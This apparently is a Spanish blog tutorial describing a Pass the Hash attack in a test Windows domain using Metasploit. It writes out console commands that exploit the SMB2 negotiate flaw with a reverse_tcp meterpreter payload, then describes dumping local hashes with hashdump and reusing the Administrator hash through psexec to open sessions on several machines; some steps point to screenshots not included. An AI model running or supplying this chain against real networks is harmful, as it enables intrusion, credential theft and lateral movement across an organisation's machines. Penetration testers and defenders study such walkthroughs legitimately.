Pass the Hash a través de Metasploit

Hace ya algún tiempo, tras leer el articulo Explotando Windows SMB2 a través de Metasploit, me dispuse a realizar pruebas de la técnica ya conocida 'Pass the Hash' dentro de un dominio de prueba con Active Directory 2003. Como ya sabemos, en la mayoría de las organizaciones el usuario Administrador local de máquina suele tener la misma contraseña en todos los equipos clientes.

Lo primero que haremos será aprovecharnos del fallo de seguridad en la implementación del protocolo SMB2 de Windows para iniciar una sesión meterpreter. Con esa sesión y tras ejecutar el comando 'hashdump' obtendremos un volcado de los hashes de todos los usuarios locales. Para ello, lo vamos a realizar a través de la consola de Metasploit y siguiendo los pasos indicados en el articulo
Explotando Windows SMB2 a través de Metasploit.

Una vez realizados los tres primeros pasos del artículo, ejecutamos el exploit:

msf auxiliary(version) > use exploit/windows/smb/smb2_negotiate_func_index
msf exploit(smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
set msf exploit(smb2_negotiate_func_index) > set LPORT 5678LPORT => 5678
msf exploit(smb2_negotiate_func_index) > set LHOST xx.xx.xx.xLHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > set RHOST xx.xx.xx.xRHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > exploit

Como podemos observar ya tenemos el hash del usuario Administrador local. Lo siguiente sería ejecutar el exploit Windows/smb/psexec:

Establecemos las opciones en el exploit psexec como vemos a continuación indicando el SMBUser y el SMBPass:

Y por último solo quedaría ejecutar el exploit en varias de las máquinas dentro del dominio:

Como podemos comprobar, obtenemos rápidamente varias sesiones de meterpreter en varias de las máquinas.

Comentarios